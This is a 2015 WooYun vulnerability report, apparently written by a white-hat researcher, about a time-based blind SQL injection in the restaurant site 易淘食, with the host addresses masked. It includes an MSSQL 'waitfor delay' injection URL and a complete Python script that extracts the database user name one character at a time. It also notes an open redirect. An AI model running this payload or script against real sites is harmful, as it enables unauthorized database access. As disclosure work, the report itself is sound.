当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150222

漏洞标题:易淘食主站SQL注入漏洞(附验证脚本)

相关厂商:易淘食

漏洞作者: 千斤拨四两

提交时间:2015-10-29 09:44

修复时间:2015-12-17 15:32

公开时间:2015-12-17 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-11-02: 厂商已经确认,细节仅向厂商公开
2015-11-12: 细节向核心白帽子及相关领域专家公开
2015-11-22: 细节向普通白帽子公开
2015-12-02: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

RT~~~~~~~~~~~``

详细说明:

http://**.**.**.**/canting/map/gongjiao/?s=mlyhdjgcd1889&ea=
http://**.**.**.**/canting/map/gongjiao/?s=jwxsxlmg6741&ea=
http://**.**.**.**/canting/map/zijia/?s=qbfssd4286&ea=
http://**.**.**.**/canting/map/gongjiao/?s=JNCZHACD823&ea=

正常请求情况下:

1.png


用户名长度是14位

http://**.**.**.**/canting/map/gongjiao/?s=mlyhdjgcd1889%27;if leN(system_User)=14%20waitfor%20delay%20%270:0:5%27%20--


2.png

漏洞证明:

3.png


#Encoding utf-8
import httplib
import urllib
import sys
import time
import string
import random
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MSSQL user:'
user=''
for i in range(1,15):
for payload in payloads:
time.sleep(1)
try:
conn=httplib.HTTPConnection('**.**.**.**',timeout=5)
s="if(ascii(substring(system_User,%s,1))=%s) waitfor delay '0:0:5' --" % (i,ord(payload))
params="s=mlyhdjgcd1889';" + urllib.quote(s)
conn.request(method='GET',url='/canting/map/gongjiao/?' + params,headers=headers)
html_doc=conn.getresponse().read()
conn.close()
print '.',
except Exception , e:
user += payload
print '\nIn progress]',user
break
print '\n[Done] User is:',user


另外附带一个URL跳转:

http://**.**.**.**/home/redirect?wvstest=xxxxx&liveurl=http://**.**.**.**


4.png

修复方案:

过滤。。。

版权声明:转载请注明来源 千斤拨四两@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-02 15:31

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无